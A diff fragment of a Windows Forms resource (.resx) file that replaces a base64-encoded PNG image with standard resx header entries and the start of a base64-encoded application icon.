- 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
- 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
- gg==
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ text/microsoft-resx
+
+
+ 2.0
+
+
+ System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ 17, 17
+
+
+
+
+ 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
+ O//Yoln/1JhH/8R0Bv/DcQD5w3EAc8NxAADDcQAA3X0AAN19AADdfQCM3X0A/919AP/wxIz///////rt
+ 2//hjiP/3XwA/919AP/afAD/x3MA/8NxAP/DcAD/yX8a//Tl0f//////58eb/8RzA//DcQD/w3EAoMNx
+ AAHDcQAA3X0AAN19AALdfQCl3X0A/917AP/kmDb//PTq///////rs2r/3HsA/919AP/afAD/x3IA/8Nx
+ AP/CbwD/2KRc//79/P/89/H/0pVC/8JvAP/DcQD/w3EAuMNxAAfDcQAA3X0AAN19AAjdfQC83X0A/919
+ AP/efwX/89Gk///////23r7/4IgV/96CCv/cgQr/yXgK/8V2Cv/HehH/7dOx///////t1LP/xXYK/8Nx
+ AP/DcQD/w3EAzcNxABHDcQAA3X0AAN19ABPdfQDR3X0A/919AP/dewD/56JJ//769P/++/j/+OPJ//ff
+ wf/238L/8d3C//Dcwf/y4Mf//fn1//78+v/XoVf/wm8A/8NxAP/DcQD/w3EA38NxAB7DcQAA3X0AAN19
+ ACHdfQDi3X0A/919AP/dfQD/34MN//bbuv////////////////////////////////////////////Lg
+ x//HexP/w3AA/8NxAP/DcQD/w3EA7cNxAC/DcQAA3X0AAN19ADPdfQDv3X0A/919AP/dfQD/3XsA/+mt
+ Xv/+/fv//vv3/+/AhP/oq1z/26Zd/9+1ev/89/H//////92ub//CbwD/w3EA/8NxAP/DcQD/w3EA98Nx
+ AETDcQAA3X0AAN19AEjdfQD53X0A/919AP/dfQD/3XwA/+CIF//45cz//////+27ev/ZeAD/xW4A/9qp
+ Z///////9urZ/8qCIP/DcAD/w3EA/8NxAP/DcQD/w3EA/sNxAFvDcQAA3X0AAN19AGDdfQD/3X0A/919
+ AP/dfQD/3X0A/918AP/tuHX///////nmzv/dhxb/ynkM/+/bvv//////4ryG/8NwAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAHTDcQAA3X0AAN19AHndfQD/3X0A/919AP/dfQD/3X0A/918AP/ijyT/+u3d///+
+ /P/lp1b/15hE//369f/58uf/zosw/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAI7DcQAA3X0AAN19
+ AJPdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/8MSM///////z17P/7c6l///////oyZ7/xHME/8Nx
+ AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0ABN19AKvdfQD/3X0A/919AP/dfQD/3X0A/919
+ AP/dewD/5Jc0//z06v/+/Pn//vv3//z48v/TlkP/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
+ AL3DcQAL3X0ADd19AMHdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3n8F//PQo////////////+3V
+ tP/Fdgr/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxANHDcQAX3X0AGt19ANXdfQD/3X0A/919
+ AP/dfQD/3X0A/919AP/dfQD/3XsA/+ahR//++fT//vz6/9iiWf/CbwD/w3EA/8NxAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAOLDcQAo3X0AJ919AN3dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/96D
+ DP/23Lv/8uLL/8d8FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAOjDcQA33X0ACN19
+ AEXdfQCU3X0A1919APrdfQD/3X0A/919AP/dfQD/3X0A/917AP/pq1z/3Kxr/8JvAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAPvDcQDcw3EAm8NxAE3DcQAMAAAAAN19AADdfQAC3X0AG919AFbdfQCj3X0A4d19
+ AP3dfQD/3X0A/919AP/cgQv/yXkN/8NwAP/DcQD/w3EA/8NxAP3DcQDlw3EAqsNxAF3DcQAfw3EAA8Nx
+ AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAE3X0AJN19AGTdfQCw3X0A5919AP3aewD/x3IA/8Nx
+ AP7DcQDrw3EAtsNxAGzDcQApw3EABcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAA3X0AAN19AADdfQAI3X0ANd19AIXafADZx3MA3sNxAI3DcQA7w3EAC8NxAADDcQAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAA/4H/AP4AfwD8AD8A8AAPAMAAAwDAAAMAwAABAIAAAQCAAAEAgAABAIAA
+ AQCAAAEAgAABAIAAAQCAAAEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAADAPgAHwD/AP8AKAAAACAA
+ AABAAAAAAQAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3n0AQdp8AL3IcwDKwnEAT8NxAAfDcQAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAB3X0AKN19AI/dfQDo23wA/8dzAP/DcQDvw3EAncNx
+ ADLDcQACw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AG919AHrdfQDe3X0A/919AP/bfAD/x3MA/8Nx
+ AP/DcQD/w3EA5sNxAIjDcQAjw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AEN19AGPdfQDP3X0A/d19AP/dfQD/3X0A/9t8
+ AP/HcwD/w3EA/8NxAP/DcQD/w3EA/sNxANnDcQByw3EAF8NxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACd19AE7dfQC93X0A+d19AP/dfQD/3X0A/919
+ AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAPzDcQDIw3EAW8NxAA3DcQAAw3EAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0ABN19ADrdfQCo3X0A8919AP/dfQD/3X0A/919
+ AP/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD4w3EAtcNx
+ AEfDcQAHw3EAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAN19ACPdfQCS3X0A6919AP/cewD/3HsA/9x7
+ AP/dfAD/3X0A/919AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8NxAP/DcQD/w3EA/8NwAP/CbwD/wm8A/8Jv
+ AP/DcQD/w3EA8cNxAKDDcQAuw3EAAMNxAAAAAAAAAAAAAN19AADdfQAA3X0Akd19AP/dfAD/4IgV/+qx
+ Zv/stW7/67Rt/+KRKf/dfAD/3X0A/919AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcAD/yoMh/9ys
+ a//drm7/3Kxq/8qBHP/DcAD/w3EA/8NxAKvDcQAEw3EAAAAAAAAAAAAA3X0AAN19AATdfQCv3X0A/918
+ AP/fhhH/9+DC////////////8cmV/919Af/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8Nw
+ AP/huYH////////////05tL/yYAb/8NwAP/DcQD/w3EAx8NxAA7DcQAAAAAAAAAAAADdfQAA3X0ADd19
+ AMXdfQD/3X0A/917AP/rsWf///79///////67d3/4o4j/918AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8Nx
+ AP/DcAD/yH0X//Tkz////////////+C1fP/CcAD/w3EA/8NxAP/DcQDaw3EAGsNxAAAAAAAAAAAAAN19
